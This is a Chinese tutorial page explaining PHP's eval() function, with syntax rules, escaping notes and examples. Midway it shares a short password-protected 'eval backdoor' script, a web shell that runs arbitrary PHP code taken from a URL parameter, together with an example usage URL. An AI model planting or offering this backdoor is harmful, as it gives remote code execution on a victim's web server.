PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
PHP中在数据库中保存Checkbox数据(1)
Oct 09 PHP
php中http_build_query 的一个问题
Mar 25 PHP
php删除字符串末尾子字符,删除开始字符,删除两端字符(实现代码)
Jun 27 PHP
推荐一款PHP+jQuery制作的列表分页的功能模块
Oct 14 PHP
php面向对象中static静态属性与方法的内存位置分析
Feb 08 PHP
学习php设计模式 php实现建造者模式
Dec 07 PHP
WordPress中登陆后关闭登陆页面及设置用户不可见栏目
Dec 31 PHP
[原创]PHP简单开启curl的方法(测试可行)
Jan 11 PHP
php计算给定日期所在周的开始日期和结束日期示例
Feb 06 PHP
PHP实现的多维数组排序算法分析
Feb 10 PHP
PHP实现页面静态化深入讲解
Mar 04 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
PHP+JS无限级可伸缩菜单详解(简单易懂)
2007/01/02 PHP
Yii2.0多文件上传实例说明
2017/07/24 PHP
javascript+mapbar实现地图定位
2010/04/09 Javascript
js 控制下拉菜单刷新的方法
2013/03/03 Javascript
onkeyup,onkeydown和onkeypress的区别介绍
2013/10/21 Javascript
用jquery实现的一个超级简单的下拉菜单
2014/05/18 Javascript
再谈javascript原型继承
2014/11/10 Javascript
JS基于MSClass和setInterval实现ajax定时采集信息并滚动显示的方法
2016/04/18 Javascript
微信小程序 网络API发起请求详解
2016/11/09 Javascript
JS焦点图,JS 多个页面放多个焦点图的实例
2016/12/08 Javascript
简单实现nodejs上传功能
2017/01/14 NodeJs
微信小程序 跳转方式总结
2017/04/20 Javascript
基于bootstrap实现bootstrap中文网巨幕效果
2017/05/02 Javascript
es6学习笔记之Async函数基本教程
2017/05/11 Javascript
Vue.js实现图片的随意拖动方法
2018/03/08 Javascript
Vue props用法详解(小结)
2018/07/03 Javascript
Vue iview-admin框架二级菜单改为三级菜单的方法
2018/07/03 Javascript
javascript操作向表格中动态加载数据
2020/08/27 Javascript
[01:24]DOTA2上海特锦赛OG战队抵达 专车接机入驻总统套房
2016/02/23 DOTA
python通过ssh-powershell监控windows的方法
2015/06/02 Python
浅谈对yield的初步理解
2017/05/29 Python
python获取指定字符串中重复模式最高的字符串方法
2018/06/29 Python
Python实现的网页截图功能【PyQt4与selenium组件】
2018/07/12 Python
ubuntu16.04制作vim和python3的开发环境
2018/09/23 Python
Python Pandas实现数据分组求平均值并填充nan的示例
2019/07/04 Python
python多进程并发demo实例解析
2019/12/13 Python
python2 对excel表格操作完整示例
2020/02/23 Python
HTML5的一个显示电池状态的API简介
2015/06/18 HTML / CSS
英国工艺品购物网站:Minerva Crafts
2018/01/29 全球购物
Grow Gorgeous美国官网:只要八天,体验唤醒毛囊后新生的茂密秀发
2018/06/04 全球购物
中软Java笔试题
2012/11/11 面试题
毕业生多媒体设计求职信
2013/10/12 职场文书
2014年行风建设工作总结
2014/12/01 职场文书
农村环境卫生倡议书
2015/04/29 职场文书
python3使用diagrams绘制架构图的步骤
2021/04/08 Python
AI:如何训练机器学习的模型
2021/04/16 Python